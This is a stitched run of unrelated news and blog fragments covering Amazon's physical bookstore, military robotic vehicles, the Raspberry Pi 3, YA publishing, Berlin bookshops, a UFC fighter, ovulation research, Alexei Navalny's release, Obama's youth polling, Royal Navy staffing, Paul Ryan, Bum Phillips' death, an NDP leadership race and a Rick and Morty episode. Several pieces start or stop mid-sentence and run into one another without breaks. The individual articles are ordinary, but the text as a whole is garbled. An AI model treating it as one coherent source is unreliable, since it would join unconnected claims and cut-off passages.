The store was packed. Most of the people whom I interviewed there were, like me, there for the novelty of the experience. They'd also read that Amazon had opened a store, were passing by, and wanted to check it out. One guy appeared to film a video tour of the entire store on his iPhone. It didn't even seem weird when I snapped photos for this story on my phone; plenty of other people did the exact same.
The Amazon store was like a normal bookstore except for one infuriating detail
The Amazon bookstore felt like a pretty normal bookstore except for one infuriating difference: The books don't have prices. Look closely at the photo above — the books have no price information, just a short summary of their plots. (Some standard Amazon items, like Kindles, do have price information.) Whenever you want to know how much a book costs, you have to either find a scanner in the store or open up the Amazon app and use that as a scanner.
The Amazon bookstore has to work this way because it promises to match the prices it offers online. And with prices changing so frequently, it can't print them out (although I don't see an obstacle to displaying the prices digitally). I knew I needed a new pair of earbud headphones and, since I was there anyway, picked up a pair of Bose headphones. I scanned them. They were $299 — very much out of my price range.
This appeared to be one of the biggest frustration of the customers at the store. One older man berated an associate over the point. "Your store is very crowded and uncomfortable to be in," he noted. "There are no prices. Just some feedback for you."
He then proceeded to buy a Kindle and an Amazon Prime membership.
The main job of the Amazon employees appears to be telling people to order things on Amazon
I hung out by the "Amazon Answers" desk for about 15 minutes, right in the middle of the store. Customers came by with questions about two things: where to find prices and whether the store had a particular item in stock.
The answer to to the latter question typically went something like this: "We don't have that particular item in stock, but you can order it on Amazon.com." I heard this line repeated again and again. As far as I could tell, the main job of the Amazon bookstore employees was telling people to order things on Amazon.
My favorite version of this interaction was between a middle-aged woman and a sales associate. He explained that the particular book she asked about wasn't available, but he could order it to the store for her. This felt absurd, given that Amazon offers free home shipping to everyone on orders of $35 or more, and to Prime members for all orders.
I thought the Amazon store was dumb. I spent $36.74 there anyway.
Amazon definitely did not have the wide array of items at its bookstore that it does online. I could not buy my dog's food and a year's supply of almonds in one fell swoop.
But it did offer something different: a curated collection of its top-selling and top-rated books. Amazon says it uses data on customer preorders and ratings to decide what to stock in the store. That pretty much ensures that only popular books will make their way off the internet and onto the store's shelves.
And for me, as a customer, that worked. It was a relief not to have to browse through dozens of books, looking at different summaries and trying to decide which one I would purchase — my typical method online. Psychologists have found that this endless number of options can create a "paradox of choice," where we become too paralyzed to choose anything.
I had no intention to buy anything — until a book I'd heard of caught my eye
This is why I prefer shopping at Trader Joe's (which tends to offer one of everything) to Safeway (where there are two dozen types of peanut butter, inevitably resulting in crippling indecision). And I think that's what works about the Amazon bookstore too. Its selection is way smaller than what a Barnes & Noble or Borders would typically offer. |
mitigate the risk of casualties. Improvised explosive devices, the unique bombs Taliban fighters bury along roads in Afghanistan, have killed 1,389 coalition troops in that country alone. That's half the total number of coalition fatalities from the war in Afghanistan. Alternatively, if a bomb explodes under an unmanned vehicle, no one dies.
"You may not want to get rid of humans altogether, but you can reduce the threat by reducing their number in convoys," Brannen said.
As the American military continues to fight wars with smaller groups of soldiers, such as the Navy SEAL team that killed Osama bin Laden, troops may also use smaller autonomous robots to explore dangerous urban areas.
For now, though, the military's position is such that the civilian race to employ unmanned vehicles is beginning to outpace its own.
"We are developing robots that use dynamic controls and legs with the goal of making them able to work on a wide variety of terrains," a group of employees from Boston Dynamics, a civilian robotics company, told Mashable. "Such robots could be useful in places that are too dangerous for people to operate, such as disaster zones, emergency response situations, firefighting, combat and the like."
"Very soon, if the current trends hold, you will have soldiers familiar with driverless cars from companies that range from Google to Volkswagen that all want this out there in the early 2020s," Singer said. "So you'll have this tech proliferated on the civilian side," and not on the military side.
Yet Singer doesn't believe that trend will continue. Soldiers, he said, will see more robotics technology in their life outside the armed forces, which will start conversations that lead to a new push for more automation inside the military. In the meantime, Brannen thinks the armed forces will modify some civilian technology as needed, especially since the Budget Control Act of 2011 cut the military's budget through 2023, meaning they won't have as much money to spend on advancing their driverless ground fleet.
"There hasn't been the full proliferation yet," Singer said. "That doesn't mean it isn't coming."
Image: Flickr, JBLM PAOPics A Raspberry Pi 3 with onboard Wi-Fi, Bluetooth and Bluetooth Low Energy (LE) support has emerged today.
The Model B Raspberry Pi 3 will be the first in the family of tiny cheap-and-cheerful ARM-powered computers to feature builtin wireless networking. For previous models, owners have had to make do with wired Ethernet, USB Wi-Fi adapters, or Ethernet-to-wireless gadgets. Having wire-free networking built into the little single-board computer will be a boon.
Confirmation of the Pi 3's existence comes from these lab results submitted by the Raspberry Pi Foundation to US communications watchdog the FCC. The documents show the new hardware complies with radio standards, and the regulator has approved the device for use.
The Model B's schematics, block diagrams, parts lists, and other blueprints have been withheld from public view at the request of the Raspberry Pi designers, so the exact specifications of the new system aren't yet known. More details are expected to be revealed next week.
From the submitted dossier, the Model B will use a single chip antenna. The hardware was tested in Hull, UK.
The Pi 3 Model B otherwise looks pretty much like 2015's quad-core 32-bit ARM Cortex-A7-based Raspberry Pi 2: it sports a familiar Broadcom system-on-chip, HDMI port, SD card slot, wired Ethernet socket, and 40 general-purpose IO pins, all in a credit-card form factor.
Here are some photos of the new hardware:
Click to enlarge either photo
A spokesperson for the Raspberry Pi Foundation declined to comment.
The Brit-designed Pi first hit the scene in 2011 as an affordable computer to kickstart interest in programming and technology among kids and adults. Since then the hardware has undergone several revisions, although never exceeding a price tag of about $35 (£25). ®When you’re told that all of your friends are out riding Falcor the Luck Dragon to Disneyworld, where they will stay in Cinderella’s Castle and eat bon-bons all day while getting escorted to the front of every line via air-conditioned pumpkin carriage, it’s really, really hard not to go with them, even though you know Florida is really hot, you don’t really like bon-bons, and you know they only ride the rides you don’t like. Because while you’re sitting at home, looking at your sales numbers and calculating the cost of car repairs, you’re stuck reading their tweets about six figure books deals and interviews with the New York Times. And that’s when you start to question your writing choices.
Wait, did I drop the metaphor, there?
In fact, I’d love to fast-pass a Disneyworld trip and stay in Cinderella’s Castle. But I won’t be writing a YA or MG novel to get there. Why is this? Do I hate teenagers? Do I hate children? Am I one of those elitist snobs who thinks YA is mindless teen twaddle? Am I allergic to money?
Not at all. In fact, I’d be among the first to say that there’s a lot of exciting work being done in YA by a great number of talented people. The Harry Potter books kicked off a renaissance in YA literature, and as advances for adult literature were bottoming out, YA was still paying pretty well. No doubt there are many people writing YA because they simply love the genre. As an added bonus, it also pays better than a lot of adult lit, though the field is starting to get a little bit glutted due to the gold rush. The other great part about writing YA is that you can write 3 books a year at, say, 70K a piece and get paid better than most 210k epic fantasy novels.
When I look out at YA, I see an Alaskan gold rush, with a lot of writers vying for a large but ultimately finite pie. And, of course, as more writers write YA, you get more competition, and you have to work a whole lot harder to stand out.
But none of that is why I’m not writing YA.
I’m not writing YA because for the most part, YA stories just aren’t for me.
There are some great YA novels. Wonderful stories with great characters and settings and interesting premises. I’ve even read a few here in my 30s. But as I’ve gotten older, I find myself less interested in the sort of identity-forming stories that YA tends to be about. I was pretty much done with my journey-toward-adulthood after my roaring 20’s, when chronic illness hit and I started figuring out how to be a grown up. There was this bending in my brain where I realized that in order to survive, I needed to give up being a selfish teenager and become an adult. And I found myself with a lot less patience for teenage characters. I wanted to read about people who have to juggle their yearning for freedom with adult responsibilities and concerns, and who do it all in really wacky worlds. If more modern YA was written like Melvin Burgess’s Bloodtide, I’d probably read more of it. But it’s not.
And you tend to write what you want to read.
What got me to thinking about this was this article about why adults read YA novels. I’d been asking myself the question a lot, so it was a really interesting rundown. As I went through the reasons folks gave for reading YA, I realized that I didn’t share any of those. So it made sense as to why I didn’t read a lot of it. Most of it just wasn’t for me. I tend to like long, very weird and worldbuild-y fiction that’s very cynical and a little dark. I’m also less interested in origin stories and characters exploring their options and identities and more interested in playing with characters who’ve been boxed into the routine of adulthood and now have to unbox themselves to survive. I do like fast-paced fiction, but not at the expense of the depth of the worldbuilding or lush writing. And with all that worldbuilding, well, what I like tends to be less accessible than a lot of YA, too.
In writing my current book, some of the most excrutiating parts for me to write were the POVs of the younger characters – my fifteen, sixteen, and nineteen year old protagonists – who were indeed struggling with issues of identity, clashes between hopeful youthful yearning and despair, and building their origin stories. Instead, what I found fascinating was building the older, broken, despairing characters who’d built the world they were now expecting these kids to fit neatly into. The clash, of course, comes as some of the older folks are trying to move one another and the younger characters around on a game board that others are rapidly trying to dismantle. The fun stuff was watching how people developed and justified their own sense of morality in a world that’s falling apart around them.
One of the things I’ve been very conscious of in my writing is trying to create better plotted and more accessible stories without sacrificing all of the things I love about writing dark, weird fiction. It’s been a special sort of balancing act, and I’m not sure I’m getting any better at it, but I’m hopeful.
So as much as I’d love to get on the YA carriage, I’d end up being somebody who did it for the money and not because I loved it. And let’s be real, my friends: I have a day job where I already write things for the Big Money. And giving up my weird fiction in an attempt to follow a marketing category I don’t love that may be over tomorrow… nah. Just not worth it to me.
That said, I admit that every tweet about how my friends are all out eating Mickey–ear-shaped caviar with Captain Jack Sparrow and Goofy still hurts, and makes me wish that Bloodtide hadn’t already been written.
But if you don’t like caviar, you shouldn’t be eating it, even if it’s shaped like Mickey ears.
Now I want some Mickey waffles.I love books. I love reading them. I love writing them (very slowly - don't watch this space). By the same token, I love - and yes, I'm aware that my amorous side is coming to the fore here - bookshops. The minute I cross the threshold, I'm transported into the beckoning worlds of possibility that line the shelves. They are places of comfort and calm.
A contrast, then, to the tiny phone screens which have become gateways to more printed pages than we will ever be able to imbibe. But before I write myself up onto a high horse, I'd better come clean. I have not always been loyal to my love of the small book store, but have all too often joined the global legions who increasingly lend their affection to the big, not-so-friendly-giant we call Amazon.
In some places, where said giant has already made short work of its short competitors, a lack of alternatives might actually be an excuse. But I don't really have one. Here in Berlin, there are four independent bookstores within a 10-minute walk of my front door. And that's slim pickings compared to other parts of the city.
A bit further south in Berlin's beloved Prenzlauer Berg district, which long dined out, or perhaps it was in, on tales of being home to more babies than anywhere else in Germany, the competition is even stronger. These days, the borough could possibly make a similar claim about independent book shops. My research says there are at least 20 within its 11-square-kilometer boundaries.
Peaceful cohabitation
It seems almost impossible that they can all survive. But they do. Largely, it seems because they curate their stock in the same way a museum does its exhibits, thereby ensuring a degree of individuality that keeps people coming back for more.
Berlin's many independent bookstores provide a collection of choice
Katharina von Uslar, co-owner of one of the places I went to on my turn-over-a-new-leaf tour, says Berliners can easily come to regard book stores with the same sense of ownership as they do their favorite cafe or restaurant.
Her place, which is pretty slick, has made a thing of interesting literary events and overtly trades on personal taste. By her own admission, their selection is completely subjective and their motto is not to try and please all the people any of the time.
In that spirit, she and her co-owner stock and sell what they're interested in, and don't bother with the rest. Luckily for me, that includes a good selection of English books. I know, I know, that old chestnut.
Now that my application for German citizenship is almost complete, I guess it really is time for me to start reading in the local tongue. And I will. Just as soon as I take possession of my ID card. And in the meantime, I have found plenty I'm happy to read in the carefully chosen English sections of this city's bounteous book stores. The end.CHICAGO – Yes, Donald Cerrone really piled into his RV after the Broncos beat the Patriots this past week in Denver, and he drove it across middle America to his fight in Chicago.
After he fights on Saturday, he’ll load back in and drive out to New Jersey. He has tickets to the Super Bowl to watch his beloved Broncos play the Seahawks for all the marbles.
Of course, when he got to Chicago and unhooked his Jeep, he found getting around to be a little bit of a challenge compared to the open roads at his ranch. He apparently discovered Lower Wacker Drive.
“You can’t even drive around in Chicago,” Cerrone told MMAjunkie. “I brought my Jeep with me, but there’s no way I could get underneath. There’s like three cities down there. It’s crazy. Didn’t even try.”
Cerrone (21-6 MMA, 8-3 UFC) hasn’t been shy about saying he doesn’t think about who he’s fighting too much. He claimed Thursday at a media event for UFC on FOX 10 was the first time he had seen what Adriano Martins (25-6 MMA, 1-0 UFC) even looked like – and that came a day earlier than he expected to see him for the first time at today’s weigh-ins.
But that’s always been the M.O. for “Cowboy,” who likes to fight, but loves to have fun when he’s not in the cage even more.
“Fighting to me is just something that I do. I love it, but it’s not my life,” Cerrone said. “And living my life to me is more important. I just keep having things out there going on – I love it.”
UFC on FOX 10 takes place at United Center in Chicago. Cerrone and Martins are part of the main card on FOX following prelims on FOX Sports 1 and UFC Fight Pass.
Check out the video above for more from “Cowboy” on the state of his bank account thanks to all his expensive toys and, believe it or not, even his fight on Saturday against Martins.
And for the latest on UFC on FOX 10, stay tuned to the UFC Rumors section of the site.It’s possible that some of the men in Florida were just trying to look virtuous by downgrading the woman’s attractiveness, the way a husband will instantly dismiss any woman pointed out by his wife. (That Victoria’s Secret model? Ugh! A skeleton with silicone.) But Jon Maner, a co-author of the study, says that’s unlikely because the men filled out their answers in private and didn’t expect the ratings to be seen by anyone except the researchers.
“It seems the men were truly trying to ward off any temptation they felt toward the ovulating woman,” said Dr. Maner, who did the work with Saul Miller, a fellow psychologist at Florida State. “They were trying to convince themselves that she was undesirable. I suspect some men really came to believe what they said. Others might still have felt the undercurrent of their forbidden desire, but I bet just voicing their lack of attraction helped them suppress it.”
It may seem hard to believe that men could distinguish a woman who’s at peak fertility simply by sitting next to her for a few minutes. Scientists long assumed that ovulation in humans was concealed from both sexes.
But recent studies have found large changes in cues and behavior when a woman is at this stage of peak fertility. Lap dancers get much higher tips (unless they’re taking birth-control pills that suppress ovulation, in which case their tips remain lower). The pitch of a woman’s voice rises. Men rate her body odor as more attractive and respond with higher levels of testosterone.
“The fascinating thing about this time is that it flies under the radar of consciousness,” says Martie Haselton, a psychologist at U.C.L.A. “Women and men are affected by ovulation, but we don’t have any idea that it is what is driving these substantial changes in our behavior. It makes it clear that we’re much more like other mammals than we thought.”
Photo
At this peak-fertility stage, women are more interested in going to parties and dance clubs, and they dress more attractively (as judged by both men and women). Some women’s attitudes toward their own partners also change, according to research by Dr. Haselton along with a U.C.L.A. colleague, Christina Larson, and Steven Gangestad of the University of New Mexico.
“Women who are in steady relationships with men who are not very sexually attractive — those who lack the human equivalent of the peacock’s tail — suddenly start to notice other men and flirt,” Dr. Haselton said. “They are also more critical of their steady partners and feel less ‘one’ with them on those few days before ovulation.” But that doesn’t mean they’re planning to walk out.
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“These women don’t show any shifts in feelings of commitment,” Dr. Haselton said. “They don’t want to leave their steady partners. They just want to look around at other men and consider them as alternative sex partners.”
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This fits the “good genes” evolutionary explanation for adultery: a quick fling with a good-looking guy can produce a child with better genes, who will therefore have a better chance of passing along the mother’s genes. But this sort of infidelity is risky if the woman’s unsexy long-term partner finds out and leaves her alone to raise the child. So it makes sense for her to limit her risks by being unfaithful only at those times she’s fertile.
By that same evolutionary logic, it makes sense for her partner to be most worried when she’s fertile, and that’s just what occurred in the relationships tracked by Dr. Haselton and Dr. Gangestad. The unsexy men became especially jealous and engaged in more “mate-guarding” during the stage of high fertility — perhaps because they sense the subtle physical cues, or maybe just because they could see the overt flirting.
One safe way for both men and women to stay in a relationship is to avoid even looking at tempting alternatives, and there seem to be subtle mental mechanisms to stop the wandering eye, as Dr. Maner and colleagues at Florida State found in an experiment testing people’s “attentional adhesion.”
The men and women in the experiment, after being primed with quick flashes of words like “lust” and “kiss,” were shown a series of photographs and other images. The single men and women in the study couldn’t help staring at photographs of good-looking people of the opposite sex — their gaze would linger on these hot prospects even when they were supposed to be looking at a new image popping up elsewhere on the screen.
But the people who were already in relationships reacted differently. They looked away more quickly from the attractive faces. The subliminal priming with words related to sex apparently activated some unconscious protective mechanism: Tempt me not! I see nothing! I see nothing!
This is good news for fans of fidelity, but there’s one caveat from a subsequent study by Dr. Maner along with C. Nathan DeWall of the University of Kentucky and others. This time, the researchers subtly made it difficult to pay attention to the attractive faces. Both men and women responded by trying harder to look at the forbidden fruit. Afterward, they expressed less satisfaction with their partners and more interest in infidelity.
The lesson here seems to be that too much “mate-guarding” can get in the way of “relationship maintenance.”
“We shouldn’t want our partner to be looking at lots of other people, because that’s bad for the relationship,” Dr. Maner said. “At the same time, preventing them from looking doesn’t help either, and can backfire.” Left to their own devices, conscious or unconscious, they might just manage to restrain themselves.Media playback is unsupported on your device Media caption Alexei Navalny: "If we have at least a couple of extra months to fight, we will fight"
Kremlin critic Alexei Navalny has been freed from jail pending an appeal, a day after being sentenced to five years for embezzlement.
The court said being in custody would strip him of his right to stand in the Moscow mayor elections in September.
Navalny's supporters said the decision to convict him was political.
A spokesman for President Putin, Dmitry Peskov, has warned activists against trying to hold any more pro-Navalny marches without official approval.
Mr Peskov's remarks represent the first reaction by the Kremlin to the release of Navalny - a vocal critic of Vladimir Putin.
The president could not discuss court cases, the spokesman added. Navalny's supporters had staged a number of unsanctioned rallies and must not break the law, he said.
The elections in Moscow are on 8 September and - for now at least - he is being allowed to campaign, says the BBC's Daniel Sandford.
Travel restrictions
On Thursday, Navalny was found guilty of heading a group that embezzled timber worth 16m roubles ($500,000; £330,000) from the Kirovles state timber company while working as an adviser to Kirov's governor Nikita Belykh.
Analysis The decision to free Alexei Navalny after just one night in prison is - on the face of it - baffling. If this was a political prosecution to remove an opponent from the field of play, then why free him straight afterwards? The answer plumbs the depths of speculation and old-fashioned Kremlinology. Perhaps the most convincing explanation is that Russia's men of power want to do three things - discredit Alexei Navalny, show his lack of support, and then get him out of the way. This they would achieve by first convicting him of a corruption offence, second, freeing him to fight an election and lose, and third, jailing him again. But this remains speculation. Russian press sympathy for Navalny
At the end of a three-hour verdict reading, he was sentenced to five years in jail.
But on Friday, the Kirov regional court took just over an hour to hear the bail case and make its decision.
The three judges decided that, as Navalny had not breached his bail conditions during the trial, he should allowed to await the appeal decision at home in Moscow.
Navalny and his co-accused Pyotr Ofitserov were immediately released, and Navalny embraced his wife Yulia.
"I am very grateful to all the people who supported us, all the people who went to [protest on Moscow's] Manezh Square and other squares," he said.
It was not just the defence pleading Navalny's case. In an unexpected move, prosecutors also pushed for him to remain free, with travel restrictions, pending his appeal.
Analysts said this could be an attempt by officials to soothe public anger over the case.
Image copyright AFP Image caption Scuffles broke out on the streets of Moscow after the verdict
After the verdict on Thursday there were violent scuffles, as thousands of people took to the streets in Moscow, St Petersburg and other cities in protests that continued late into the evening. Reports said dozens were detained by police.
Alexei Navalny's rise to prominence 2008: Started blogging about allegations of corruption at some of Russia's big state-controlled firms
Started blogging about allegations of corruption at some of Russia's big state-controlled firms Nov 2011: Ahead of parliamentary poll, he criticised President Putin's United Russia, famously dubbing it the "party of crooks and thieves"
Ahead of parliamentary poll, he criticised President Putin's United Russia, famously dubbing it the "party of crooks and thieves" Dec 2011: After the poll, he inspired mass protests against the Kremlin, and was arrested and imprisoned for 15 days
After the poll, he inspired mass protests against the Kremlin, and was arrested and imprisoned for 15 days Oct 2012: Won most votes in a poll to choose opposition leadership
Won most votes in a poll to choose opposition leadership April 2013: Went on trial
Went on trial July 2013: Declared himself a candidate for Moscow mayoral election
Declared himself a candidate for Moscow mayoral election July 2013: Given five-year jail term for theft and embezzlement Profile: Alexei Navalny Russian press sympathetic A thorn in Putin's side
Other countries questioned the fairness of the verdict, with the EU saying it posed "serious questions" about the rule of law in Russia, while the US said it was "deeply disappointed".
A spokesman for German Chancellor Angela Merkel said the trial had "raised doubts about whether criminal justice was the main motive".
The Kremlin denies that Mr Putin uses courts for political ends, and the judge rejected Navalny's claim that the trial was politically motivated.
Navalny, 37, is a leading campaigner against President Putin's United Russia party and has regularly blogged about corruption allegations.
He came to public attention when he inspired mass protests against the Kremlin and President Putin in December 2011.
Before he was led away to jail on Thursday, Navalny urged his supporters to continue his anti-corruption struggle, tweeting: "Don't sit around doing nothing."In 2008 the Obama campaign depended heavily on high turnout among minorities and strong enthusiasm from young people. That is why the Obama re-election campaign should be very concerned that young people have recently turned sharply against him. From Democracy Corps polling:
The biggest drop-off has come among his broad base—79 percent of Democrats now say they approve of the President’s job performance, the lowest in our tracking. The biggest decline has come from young people and minorities. Among minority voters, 63 percent now say they approve of the president’s job performance, the lowest in our tracking. More significant is the drop-off among young people, who voted for the president by huge margins in 2008. Less than 40 percent of young people (under age 30) now say they approve of the President’s performance, 54 percent disapprove. This is a significant drop since August when a majority of young voters (52 percent) approved of the way the president was handling his job, 42 percent disapproved. That is a net 26-point decline in two months.
Obama went from having a solid majority of young Americans approving of his job performance to a solid majority disapproving of it, and it happened in a matter of weeks.
This should be a frankly terrifying statistic for the campaign. Not only did the enthusiasm of young people in 2008 provide Obama with a lot of votes from people who rarely go to the polls, but enthusiastic young people also made up a significant amount of the free volunteer labor behind the large ground game. Now it seems that youth energy for Obama has been either crushed by years of high unemployment and low job expectations or redirected into the occupy movement.
Looking at these awful youth numbers, it is not at all surprising that the Obama administration has decided to unveil a new initiative to help young people with student loans. While this modest student loan plan might help some, I suspect Obama support among young people is going to continue to fall as long as young people can’t find jobs, and the administration keeps pushing policies most young people strongly oppose.
If the Obama administration decides to approve the Keystone XL pipeline and continues to escalate its totally unnecessary war on medical marijuana, the re-election campaign is going to have a really hard time trying to get young people to organize for the anti-environment, anti-pot president who protected Wall Street.The Navy needs up to 4,000 more sailors, or it will be unable to man the fleet when Britain’s new aircraft carriers arrive, former military leaders have warned.
The Royal Navy faces a “serious looming manpower problem” after defence cuts, while RAF shortages mean air chiefs may have to lure back airmen who have left, the UK National Defence Association said.
Vice Admiral Sir Jeremy Blackham, a vice president of the lobby group of former officers, said: “From a naval point of view there is a serious problem, said to be when I last spoke to Fleet Commander, in the order of 3,500 to 4,000 people in order to man the fleet correctly.”
“It would be impossible to send ships to sea fully manned.” Vice Admiral Sir Jeremy Blackham
Britain’s vast new aircraft carrier, HMS Queen Elizabeth, which will have a crew of nearly 700, will start sea trials next year and its sister ship, HMS Prince of Wales, a few years later. Britain’s new nuclear deterrent submarines will also be built and need crews next decade.
Sir Jeremy said without more sailors “it would be impossible to send ships to sea fully manned”, or sailors would have to been rotated from ship to ship, meaning longer deployments and less time with families.
Cuts after the 2010 defence review shed 6,000 sailors from the Royal Navy. Naval chiefs have used the Government’s current defence review to ask the Ministry of Defence for another 2,500 sailors, which they estimate will cost around £125 million a year extra.
Photo: Dan Kitwood/Getty Images
But Michael Fallon, the Defence Secretary, has told them he wants to limit the increase to around 600 and demanded that in return the Navy get rid of around 300 officers.
The Navy is also having to recruit sailors from foreign navies, including America, Canada and Australia to fill gaps in critical specialist engineering jobs. It expects to hire as many as 1,000 foreigners in the next decade.
Air Chief Marshal Sir Michael Graydon, former Chief of the Air Staff, said the RAF had its own serious manpower problems. Defence cuts and competition from industry are blamed for an exodus of skilled engineers and mechanics.
Photo: Eddie Mulholland/The Telegraph
He said: “There’s no doubt they are really having to rally round and get people from all over the place to fill some those holes.”
“You may have to go to some of the guys that we have lost in the past and bring them back.”
Specialists have left the British armed forces to go to Australia, New Zealand and Canada in recent years, he said.
“We are in the business of looking at perhaps getting some of them back,” he said.
Sir Michael also said the defence review was likely to consider saving ageing Tornado squadrons from the axe and extending the life of older Typhoon Eurofighters because of a serious shortage of fighter jets.
Britain’s fighter fleet is set to shrink to its smallest in the RAF’s history as ageing jets retire by the end of the decade, even as Britain is set to step up its air war on Islamic State.
The RAF’s 87 remaining Tornados and 53 Typhoons from the aircraft’s first production run are scheduled to retire in 2019, squeezing numbers to only around 127 front line combat jets.
Sir Michael said giving reprieving Tornados “would be eminently sensible”.
“That aircraft is doing a very good job in deed. It has got the best weapons suite of any aircraft that we have had in my memory. The Germans intend to run that aircraft on until I think 2030. I see no reason why we shouldn’t run ours on until 2025 if necessary.”
He said older Typhoons could be used for air defence, while newer jets could be upgraded to take over Tornado’s ground attack missions.
The defence review is expected to be published at the end of next month.
Sir Jeremy said: “We're not asking for more bombs or bullets, but for a proper strategy that combines hard and soft power."On Wednesday’s Breitbart News Daily, SiriusXM host Raheem Kassam asked guest Frank Gaffney about a post he wrote on the Center for Security Policy blog, in which he endorsed a call by Jeanine Pirro of Fox News for House Speaker Paul Ryan to resign following the failure of the House Obamacare replacement bill.
As he wrote in the post, Gaffney stipulated that “health care is not my field, by any means,” so he did not mean to criticize the substance of the ill-fated House bill.
“I think what is of concern is that this was a doomed approach,” he said. “Paul Ryan, who is supposed to be helping President Trump get through his agenda in the House of Representatives and the congress more generally, should have known better. He either didn’t, which justifies removal on the grounds of incompetence, or did – in which case I think the argument is that he’s simply not a reliable partner for the president in getting this agenda done.”
“On either grounds, I think that it would be necessary for the country, not just for the Trump presidency but for the country, to have leaders in both the House and the Senate who want to ensure that the president’s projects, the president’s agenda, the president’s promises to the American people – which I think were momentous, not just for health care reform but in so many other respects, including the return to the prospect of peace through strength, which if course is near and dear to my heart, and I think yours Raheem – is going to be a necessary condition going forward,” he argued.
“From a layman’s perspective, from a person who understands as a layman the importance of health care, this seemed to be a statist – well, ‘Obamacare Lite’ it’s been called – approach, when a free market approach seems to be called for,” Gaffney said. “I think that’s what Donald Trump set out to do. That’s what he promised the voters. It’s what I think you could get a majority of the Congress behind, if it is clear that in the process, you’re not going to abandon people who genuinely need health care support.”
“It goes back to kind of the fatal flaws of Obamacare, and just making it a little better at the margins, which is I think, at best, what you could say Ryan was up to. It was clearly unsatisfactory and was, as I say, doomed to fail,” he pronounced.
Gaffney added compliments to Rep. Mark Meadows (R-NC) and the House Freedom Caucus for “ensuring that it did fail.”
“I think they’ve done a great service, despite all the brickbats being thrown their way, for President Trump as well as for the country,” he said.
Gaffney conceded that choosing a possible replacement for Rep. Ryan as Speaker of the House was a difficult task.
“I think there are a number of people who could probably command the support of the majority of the House,” he said. “It wouldn’t be for me to pick them. Some have been willing to serve in the past. Daniel Webster comes to mind, he seems to be a very presentable guy. It would be obviously up to him or others in the House to stand for this, if in fact Paul Ryan were to create a vacancy – which I hope he will do.”
Breitbart News Daily airs on SiriusXM Patriot 125 weekdays from 6:00 a.m. to 9:00 a.m. Eastern.
LISTEN:Bum Phillips was as country as a cowboy could be.
A Texas-size cowboy hat, pointed boots to fit in stirrups, dusty blue jeans and a belt buckle as big as Goliad, where he died Friday night with his wife Debbie and other family members present.
Most of all, though, Phillips always had a warm smile and a firm handshake for just about everyone he met.
“I was blessed to have him as a father and coach,” Wade Phillips said late Friday night. “I got to coach with him for 11 years. He taught me everything I know about coaching. He taught me right and wrong. He taught me to enjoy life.”
Wade Phillips, the Texans’ defensive coordinator, went to Goliad after practice Friday.
“I’m so glad I got to see him,” Phillips said. “Dad was such a humble man. I think he’d want to be remembered as someone who treated people well.”
The Phillips family is asking for a few days of privacy. Rather than send flowers, they ask for donations to bumphillipscharities.com so they can finish the home for deaf children that Bum wanted to build before he died.
Phillips will be buried in a private ceremony on his ranch, for family members only. Soon, there will be a memorial service in Houston to celebrate Phillips’ life. It’ll include former Oilers players and coaches as well as many former players and coaches from around the NFL.
“He was a legend, and the legend will live on,” Wade said.
Wade Phillips was a young assistant coach for his father during the Luv Ya Blue era with the Oilers. They were fired in what became known as the New Year’s Eve Massacre in 1980 after a playoff loss at Oakland.
“You know, Dad enlightened everybody around him,” Wade said. “He had this special knack for making people feel good about themselves.”
Wade will travel with the team to Kansas City for Sunday’s game against the undefeated Chiefs at Arrowhead Stadium. That’s the way his father would have wanted it.
I first met Bum Phillips at the Oilers’ training camp in 1977. I spent the first week with them on the Stephen F. Austin campus in Nacogdoches.
Even though I was a wide-eyed, snot-nosed 25-year-old beat writer for the Aeros, Houston’s hockey team, Bum welcomed me and treated me with respect. He made me feel like a veteran beat writer.
I told Bum I’d been sent to do stories on quarterback Dan Pastorini and running back Don “Jaws” Hardeman. He helped me get as much time as I needed with both players.
Before the 1980 training camp – my first full season on the Oilers’ beat – I interviewed Bum at his home in Missouri City. When we finished, he took me to his garden that was the size of a swimming pool and invited me to take anything I wanted. I took as much as my car would carry.
One year in training camp, I asked Bum why he did so many unconventional things? Like have pizza and beer for the players |
could see a dark horse win the title. Joe Clark’s unlikely 1977 victory and Stéphane Dion’s 2006 upset win were products of similar dynamics. Given that, the current media narrative of the campaign should be taken with a grain of salt. The perception that former party president Brian Topp is the front-runner is essentially based on the impressive establishment endorsements he has been accumulating. Broadbent and Romanow jumped on his bandwagon at the earliest opportunity and they have since been joined by a steady stream of party apparatchiks. But such golden endorsements only go so far especially when the winner is selected through the universal suffrage of the membership. In the days of delegated conventions, it was possible for party elites to decisively tip the balance in favor of an anointed candidate. But even then, party activists tended to be guided by their own judgment rather than by high-profile commendations. Without establishment support, John Turner would not have beat Jean Chrétien in 1984 and Jean Charest, rather than Kim Campbell, would have succeeded Brian Mulroney in 1993. If Topps’ performance in the leadership debates does not justify the early backing of so many NDP luminaries, his endorsements will lose much of their potency. Notwithstanding the media hype, there is also no factual evidence that Thomas Mulcair is starting the campaign in the runner-up position and no guarantee that he is bound for a strong finish. His support remains heavily concentrated in Quebec — a province that accounts for an insignificant fraction of the NDP membership. In a one-member-one-vote leadership process, the trend is harder to pin down and the media often gets it wrong. Among the major federal parties, only the now-defunct Canadian Alliance has used the unadulterated formula by which the next NDP leader will be chosen. Stockwell Day — who beat Reform founder Preston Manning to the job of first Alliance leader — was a product of a universal vote of the party membership. So was Harper in his first federal leadership incarnation. On both occasions, most of the media bet on the wrong horse.Last night saw the much-awaited return of Adult Swim’s hit vulgar animated series, Rick and Morty, with the second episode of season 3, Rickmancing the Stone. It is an odd turn of events when the second episode of your season is the one that really kicks things off, but this is all thanks to the fact that episode one of the newest season released all the way back in April. But now, fans finally have their hands on a new episode, so I will now impart upon you, my personal thoughts on the new episode, but beware spoilers for literally the entire show so far including this new episode.
Still here? Congrats. So the episode essentially doubles up as a big opportunity for character development set in a world that is very much Mad Max inspired. With the black comedy elements of Mad Max merged with those of Rick and Morty, the show creates new humour, showcasing both in jokes for fans of both franchises as well as more gore than usual. However, this is one of those rare episodes that focuses more on the actual story than the humour, not to say that this episode wasn’t funny, but it was much more about the story of the divorce of Jerry and Beth and the impact that had on Morty, Summer and most surprisingly, Rick himself.
The trio essentially uses their adventures (this time in the aforementioned Mad Max world) to escape their emotions, by venturing into a hellscape to avoid having to confront the emotional issues they face at home. Whilst the show is no stranger to relatively deep concepts and issues, this episode felt a lot closer to the writers sacrificing comedy from trying too hard to make this about character development.
